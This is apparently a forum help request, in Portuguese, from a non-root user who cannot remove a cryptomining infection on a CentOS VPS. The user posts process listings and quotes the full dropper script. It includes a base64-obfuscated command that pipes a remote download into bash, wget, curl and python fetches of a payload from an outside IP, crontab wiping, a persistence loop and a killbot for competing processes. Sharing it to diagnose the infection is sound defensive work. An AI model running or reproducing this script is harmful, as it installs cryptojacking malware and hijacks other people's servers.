Em um VPS que eu uso, de alguma forma eu tenho um mineiro chato. (Eu não sou root)
15109 ? Z 0:00 [sh] <defunct>
15134 ? Ssl 0:03 []
15160 ? S 0:00 ./5DiaEd75 ./bNlMGMON
15162 ? S 0:00 ./5DiaEd75 ./bnkI202h
15183 ? S 0:00 sleep 5
15184 ? S 0:00 sleep 5
Toda vez que começa com um nome diferente de / var / tmp.
Até onde eu vi, ele faz o download de um arquivo de transfer.sh (edição posterior: o script é aquele do transfer.sh, eu achei que era o site) algum dia depois que eu o matei (isso eu vi do stalking ps x
)
47067 ? S 0:00 sh -c echo -n 'd2dldCAtcSAtTyAtIGh0dHA6Ly8yMDQuNDguMjQuNzIvaW5kZXguaHRtbCB8IGJhc2g=' | base64 -d | bash
47070 ? S 0:00 bash
47072 ? S 0:00 bash
47088 ? S 0:00 wget http://204.48.24.72/zeenuts -O ./0amdpE5K
Eu verifiquei o crontab, mas não há nada lá e se eu colocar algo lá, ele será deletado depois que o processo começar.
Eu também vejo antes que isso comece:
27985 ? S 0:00 /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t -f root
Eu não consigo me livrar dessa coisa.
Existe uma maneira que define um trabalho cron-like sem usar o crontab? ou usando a função sendmail?
O processo [] usando lsof
diz que é executado a partir de /; também em / var / tmp, ele faz o download de 2 executáveis.
O / user / bin / sendmail pode não estar relacionado, como eu notei que começa sempre que eu configuro um comando crontab e ele é executado. Pode ser um setitng o admin feito para trabalhos de crontab.
2.6.32-642.el6.x86_64
CentOS release 6.8 (Final)
Eu vi o script:
#<!--
function random() {
chars=abcdefghijklmnop1234567890ABCDEFGHIJKLMNOP
for i in {1..8} ; do
echo -n ${chars:RANDOM%${#chars}:1}
done
}
new_bash=$(random)
new_daemon=$(random)
new_killbot=$(random)
new_payload=$(random)
crontab -r
writable_path=("/var/tmp" "/tmp" 'pwd')
for install_path in ${writable_path[@]}
do
cd $install_path
rm -rf touch ponezz
cp 'command -v touch' ./touch
./touch ./ponezz
if [ ! -f ./ponezz ]; then
continue
else
rm -rf touch ponezz
break
fi
done
if [ $(command -v wget | wc -l) -eq 1 ]; then
wget http://204.48.24.72/zeenuts -O ./$new_payload
elif [ $(command -v curl | wc -l) -eq 1 ]; then
curl http://204.48.24.72/zeenuts -o ./$new_payload
elif [ $(command -v python | wc -l) -eq 1 ]; then
if [ $(python -V 2>&1 | sed 's/.* \([0-9]\).\([0-9]\).*//') -lt "30" ]; then
python -c "from urllib import urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
else
python -c "from urllib.request import urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
fi
fi
chmod 777 ./$new_payload
nohup ./$new_payload
./$new_payload
echo "sleep 2;rm "'$0'" ;while true;do sleep 5; ps x | grep -F '[]' | grep -v grep;if [ "'$?'" -eq 1 ]; then chmod 777 ./$new_payload;nohup ./$new_payload;./$new_payload;fi;ps | grep -F '[]' | grep -v grep | awk '{print "'$1'"}' | awk '{if(NR>1)print}' | xargs -n1 kill -9;done" | tee ./$new_daemon
echo -n 'c2xlZXAgMjtybSAkMCA7d2hpbGUgdHJ1ZTtkbyBzbGVlcCA1OyBwcyBhdXggfGdyZXAgLXYgLUYgJ1tdJyB8IGF3ayAne2lmKCQzPjQwLjApIHByaW50ICQyfScgfCB3aGlsZSByZWFkIHByb2NpZDsgZG8ga2lsbCAtOSAkcHJvY2lkOyBkb25lO2RvbmU=' | base64 -d | tee ./$new_killbot
cp 'command -v bash' ./$new_bash
./$new_bash ./$new_daemon &
./$new_bash ./$new_killbot &
Pequeno roteiro divertido, mas não consigo descobrir como ele continua começando.